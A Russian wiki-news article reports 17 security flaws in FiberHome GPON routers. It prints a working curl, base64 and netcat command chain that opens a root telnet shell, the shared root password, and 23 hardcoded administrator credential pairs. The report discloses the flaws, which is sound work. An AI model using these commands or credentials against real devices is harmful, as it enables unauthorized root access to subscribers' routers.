Бэкдор в маршрутизаторах FiberHome
18 января 2021 года
В маршрутизаторах FiberHome, применяемых провайдерами для подключения абонентов к оптическим линиям связи GPON, выявлено 17 проблем с безопасностью, среди которых наличие бэкдоров с предопределёнными учётными данными, позволяющими удалённо управлять оборудованием. Проблемы дают возможность удалённому атакующему получить root-доступ к устройству без прохождения аутентификации. Наличие уязвимостей подтверждено в устройствах FiberHome HG6245D и RP2602, а также частично в устройствах AN5506-04-*, но не исключено, что проблемы затрагивают и другие модели маршрутизаторов данной компании.
Отмечается, что по умолчанию доступ по IPv4 к интерфейсу администратора на изученных устройствах ограничен внутренним сетевым интерфейсом, допускающим обращение только из локальной сети, но при этом доступ по IPv6 никак не ограничен, что позволяет использовать присутствующие бэкдоры при обращении по IPv6 из внешней сети.
Кроме web-интерфейса, работающего через HTTP/HTTPS, на устройствах предусмотрена функция для удалённой активации интерфейса командной строки, к которому можно обращаться по протоколу telnet. CLI активируется отправкой специального запроса по протоколу HTTPS с предопределёнными учётными данными. Кроме того, в http-сервере, обслуживающем web-интерфейс выявлена уязвимость (переполнение стека), эксплуатируемая через отправку запроса со специально оформленным значением HTTP Cookie.
В простейшем случае для получения root-доступа достаточно отправить несколько запросов при помощи утилиты curl:
# Получаем информацию о MAC-адресе, через API, доступный без аутентификации: curl -k https://target/info.asp # Используем хвост MAC-адреса в качестве ключа для снятия в пакетном фильтре блокировки доступа к CLI-интерфейсу по протоколу telnet: сurl -k 'https://target/telnet?enable=1&key=ENDING_PART_MAC_ADDR' # Отправляем в CLI-интерфейс на 23 порт последовательность команд для запуска процесса telnetd. echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 /dev/null & # Подключаемся к сетевому порту 26 по протоколу telnet с логином root и паролем GEPON. telnet target 26 (none) login: root Password: [GEPON] BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash) #id uid=0(root) gid=0 groups=0 # game over
Всего исследователем выявлено 17 проблем с безопасностью, из которых 7 затрагивают HTTP-сервер, 6 - сервер telnet, а остальные связаны с общесистемными брешами. Среди выявленных проблем:
- Утечка информации о подсетях, прошивке, идентификаторе соединения FTTH , IP- и MAC-адресах на стадии до прохождения аутентификации.
- Сохранение в логе паролей пользователей в открытом виде.
- Хранение открытым текстом учётных данных для подключения к беспроводным сетям и паролей.
- Переполнение стека в HTTP-сервере.
- Присутствие в прошивке закрытого ключа для SSL-сертификатов, который можно было загрузить по HTTPS ("curl https://host/privkeySrv.pem(недоступная ссылка)").
- Вышеописанный бэкдор для активации telnet (в коде http-сервера присутствовал специальный обработчик запросов "/telnet", а также обработчик "/fh" для привилегированного доступа).
- Жёстко заданные в прошивке инженерные пароли и параметры аутентификации. Всего в коде http-сервера было выявлено 23 прошитых учётных записей, привязанных к разным провайдерам. Пароли использовались в обработчике https://ip/fh(недоступная ссылка) для активации telnet.
- user / user1234
- f~i!b@e#r$h%o^m*esuperadmin / s(f)u_h+g|u
- admin / lnadmin
- admin / CUadmin
- admin / admin
- telecomadmin / nE7jA%5m
- adminpldt / z6dUABtl270qRxt7a2uGTiw
- gestiontelebucaramanga / t3l3buc4r4m4ng42013
- rootmet / m3tr0r00t
- awnfibre / fibre@dm!n
- trueadmin / admintrue
- admin / G0R2U1P2ag
- admin / 3UJUh2VemEfUtesEchEC2d2e
- admin / c 6 по 32 символы MAC-адреса на интерфейсе br0
- admin / 888888
- L1vt1m4eng / 888888
- useradmin / 888888
- user / 888888
- admin / 1234
- user / tattoo@home
- admin / tele1234
- admin / aisadmin
- Дополнительно, в CLI-интерфейсе можно было запустить на 26 сетевом порту отдельный процесс telnetd с правами root, передав последовательность команд "�,help,list,who,ddd,tshell" ('GgpoZWxwCmxpc3QKd2hvCg==' в base64). Для подключения к telnet был определён общий пароль "GEPON".
Источники
править
Любой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.
Комментарии
Если вы хотите сообщить о проблеме в статье (например, фактическая ошибка и т. д.), пожалуйста, используйте обычную страницу обсуждения.
Комментарии на этой странице могут не соответствовать политике нейтральной точки зрения, однако, пожалуйста, придерживайтесь темы и попытайтесь избежать брани, оскорбительных или подстрекательных комментариев. Попробуйте написать такие комментарии, которые заставят задуматься, будут проницательными или спорными. Цивилизованная дискуссия и вежливый спор делают страницу комментариев дружелюбным местом. Пожалуйста, подумайте об этом.
Несколько советов по оформлению реплик:
- Новые темы начинайте, пожалуйста, снизу.
- Используйте символ звёздочки «*» в начале строки для начала новой темы. Далее пишите свой текст.
- Для ответа в начале строки укажите на одну звёздочку больше, чем в предыдущей реплике.
- Пожалуйста, подписывайте все свои сообщения, используя четыре тильды (~~~~). При предварительном просмотре и сохранении они будут автоматически заменены на ваше имя и дату.
Обращаем ваше внимание, что комментарии не предназначены для размещения ссылок на внешние ресурсы не по теме статьи, которые могут быть удалены или скрыты любым участником. Тем не менее, на странице комментариев вы можете сообщить о статьях в СМИ, которые ссылаются на эту заметку, а также о её обсуждении на сторонних ресурсах.